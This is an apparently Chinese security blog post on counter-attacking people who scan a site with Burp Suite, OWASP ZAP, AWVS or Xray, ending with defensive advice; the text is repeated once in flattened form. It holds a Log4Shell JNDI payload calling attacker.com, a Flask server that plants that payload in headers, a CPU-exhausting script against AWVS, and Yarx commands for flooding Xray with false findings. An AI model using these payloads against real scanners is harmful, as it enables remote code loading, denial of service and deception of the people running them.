第125篇:蓝队溯源之burpsuite、zap、AWVS、xray扫描器反制方法与复现
字数 1519 2025-09-01 11:26:11

蓝队溯源之常见扫描器反制方法与复现

前言

本文详细介绍了针对Burpsuite、OWASP ZAP、AWVS和Xray等常见Web安全扫描器的反制技术。这些方法主要利用扫描器内置组件的漏洞或设计缺陷,通过精心构造的payload实现对扫描器使用者的反制。

Burpsuite反制方法

技术原理

早期版本的Burpsuite(2.0及以下)内嵌了低版本Chromium浏览器,并存在以下关键特征:

  • 使用--no-sandbox参数关闭沙盒限制
  • 采用--headless无界面模式
  • 内置浏览器版本较低,存在多个Nday漏洞

反制方法

有三种主要触发方式:

  1. 被动扫描触发

    • 构造包含恶意shellcode的HTML页面
    • 当Burpsuite的被动扫描功能分析该页面时,会调用内置浏览器渲染,触发漏洞执行shellcode
  2. 历史记录触发

    • 在历史记录中点击"Render"按钮可直接触发漏洞
  3. Repeater模块触发

    • 在Repeater模块测试漏洞时点击"Render"渲染页面触发

复现要点

  • 适用于早期Burpsuite 2.0及以下版本
  • 新版Burpsuite已移除--no-sandbox参数,需先实现沙盒逃逸
  • 典型payload可弹出计算器或上线Cobalt Strike

OWASP ZAP反制方法

技术原理

主要利用ZAP扫描器中存在的Log4j2漏洞(CVE-2021-44228),分为两种利用方式:

  1. 主动利用

    • ZAP <=2.11.0版本的HTTP API接口(默认8080端口)存在Log4j2漏洞
    • 构造特殊URL触发漏洞:http://127.0.0.1:8080/JSON/acsrf/view/optionPartialMatchingEnabled/?apikey=${jndi:ldap://attacker.com/exp}
  2. 被动利用

    • 构造特殊页面诱导ZAP扫描触发Log4j2漏洞
    • 漏洞位于pscanrules-release-*.jar插件中

复现步骤

  1. 构造漏洞页面

    from flask import Flask, request, make_response
    app = Flask(__name__)
    
    @app.route('/')
    def index():
        resp = make_response('Vulnerable Page')
        resp.headers['WWW-Authenticate'] = 'Digest realm="test", nonce="123", qop="auth", opaque="456"'
        resp.headers['Authorization'] = 'Digest username="${jndi:ldap://attacker.com/exp}", realm="test", nonce="123", uri="/", response="789", opaque="456"'
        return resp
    
    if __name__ == '__main__':
        app.run(host='0.0.0.0', port=8000)
    
  2. 触发方式

    • 使用ZAP抓包访问该页面
    • 使用AJAX Spider爬取该页面

AWVS反制方法

技术原理

利用AWVS JavaScript解析器(Acorn v2.6.5)的设计缺陷:

  • 缺乏递归深度和语法树节点数量的资源限制
  • 可构造特殊JS代码导致CPU和内存资源耗尽

复现方法

  1. 构造高消耗JS

    from flask import Flask, make_response
    app = Flask(__name__)
    
    @app.route('/awvs.js')
    def awvs_js():
        js_code = """
        function makeLongChain() {
            var obj = {};
            var current = obj;
            for(var i = 0; i < 100000; i++) {
                current.next = {};
                current = current.next;
            }
        }
        makeLongChain();
        """
        return make_response(js_code)
    
    if __name__ == '__main__':
        app.run(host='0.0.0.0', port=8000)
    
  2. 扩展利用

    • 在JS中嵌入内网设备URL,诱导AWVS扫描内网
    • 嵌入已知漏洞框架(如Struts2、Log4j2)的URL

Xray反制方法

技术原理

利用Xray的POC匹配机制,构造符合其YAML规则的虚假响应,制造大量误报。

复现步骤

  1. 使用Yarx工具

    yarx -p ./pocs -l 0.0.0.0:8080
    
  2. 扫描触发

    xray webscan --plugins phantasm --html-output yarx.html --url http://target:8080/
    
  3. 效果

    • 扫描报告中将出现大量虚假漏洞
    • 严重干扰扫描结果的有效性

总结与防御建议

反制技术总结

  1. 利用内置组件漏洞

    • 浏览器、日志系统等组件的n-day漏洞
    • 如Chromium漏洞、Log4j2漏洞等
  2. 构造误导性响应

    • 制造大量误报干扰扫描结果
    • 如Yarx工具针对Xray的反制
  3. 引导SSRF攻击

    • 诱导扫描器攻击红队所在内网环境

防御建议

  1. 及时更新工具

    • 使用最新版本扫描器
    • 定期检查并更新插件和依赖组件
  2. 安全配置

    • 避免在生产环境使用扫描器
    • 限制扫描器网络访问权限
  3. 监控与审计

    • 监控扫描过程中的异常资源消耗
    • 审计扫描结果中的异常报告
  4. 沙箱环境

    • 在隔离环境中运行扫描器
    • 使用虚拟机或容器限制潜在影响

通过理解这些反制技术,蓝队人员可以更好地防御潜在的攻击,同时红队人员也能意识到扫描过程中可能面临的风险。

蓝队溯源之常见扫描器反制方法与复现 前言 本文详细介绍了针对Burpsuite、OWASP ZAP、AWVS和Xray等常见Web安全扫描器的反制技术。这些方法主要利用扫描器内置组件的漏洞或设计缺陷,通过精心构造的payload实现对扫描器使用者的反制。 Burpsuite反制方法 技术原理 早期版本的Burpsuite(2.0及以下)内嵌了低版本Chromium浏览器,并存在以下关键特征: 使用 --no-sandbox 参数关闭沙盒限制 采用 --headless 无界面模式 内置浏览器版本较低,存在多个Nday漏洞 反制方法 有三种主要触发方式: 被动扫描触发 : 构造包含恶意shellcode的HTML页面 当Burpsuite的被动扫描功能分析该页面时,会调用内置浏览器渲染,触发漏洞执行shellcode 历史记录触发 : 在历史记录中点击"Render"按钮可直接触发漏洞 Repeater模块触发 : 在Repeater模块测试漏洞时点击"Render"渲染页面触发 复现要点 适用于早期Burpsuite 2.0及以下版本 新版Burpsuite已移除 --no-sandbox 参数,需先实现沙盒逃逸 典型payload可弹出计算器或上线Cobalt Strike OWASP ZAP反制方法 技术原理 主要利用ZAP扫描器中存在的Log4j2漏洞(CVE-2021-44228),分为两种利用方式: 主动利用 : ZAP <=2.11.0版本的HTTP API接口(默认8080端口)存在Log4j2漏洞 构造特殊URL触发漏洞: http://127.0.0.1:8080/JSON/acsrf/view/optionPartialMatchingEnabled/?apikey=${jndi:ldap://attacker.com/exp} 被动利用 : 构造特殊页面诱导ZAP扫描触发Log4j2漏洞 漏洞位于pscanrules-release-* .jar插件中 复现步骤 构造漏洞页面 : 触发方式 : 使用ZAP抓包访问该页面 使用AJAX Spider爬取该页面 AWVS反制方法 技术原理 利用AWVS JavaScript解析器(Acorn v2.6.5)的设计缺陷: 缺乏递归深度和语法树节点数量的资源限制 可构造特殊JS代码导致CPU和内存资源耗尽 复现方法 构造高消耗JS : 扩展利用 : 在JS中嵌入内网设备URL,诱导AWVS扫描内网 嵌入已知漏洞框架(如Struts2、Log4j2)的URL Xray反制方法 技术原理 利用Xray的POC匹配机制,构造符合其YAML规则的虚假响应,制造大量误报。 复现步骤 使用Yarx工具 : 扫描触发 : 效果 : 扫描报告中将出现大量虚假漏洞 严重干扰扫描结果的有效性 总结与防御建议 反制技术总结 利用内置组件漏洞 : 浏览器、日志系统等组件的n-day漏洞 如Chromium漏洞、Log4j2漏洞等 构造误导性响应 : 制造大量误报干扰扫描结果 如Yarx工具针对Xray的反制 引导SSRF攻击 : 诱导扫描器攻击红队所在内网环境 防御建议 及时更新工具 : 使用最新版本扫描器 定期检查并更新插件和依赖组件 安全配置 : 避免在生产环境使用扫描器 限制扫描器网络访问权限 监控与审计 : 监控扫描过程中的异常资源消耗 审计扫描结果中的异常报告 沙箱环境 : 在隔离环境中运行扫描器 使用虚拟机或容器限制潜在影响 通过理解这些反制技术,蓝队人员可以更好地防御潜在的攻击,同时红队人员也能意识到扫描过程中可能面临的风险。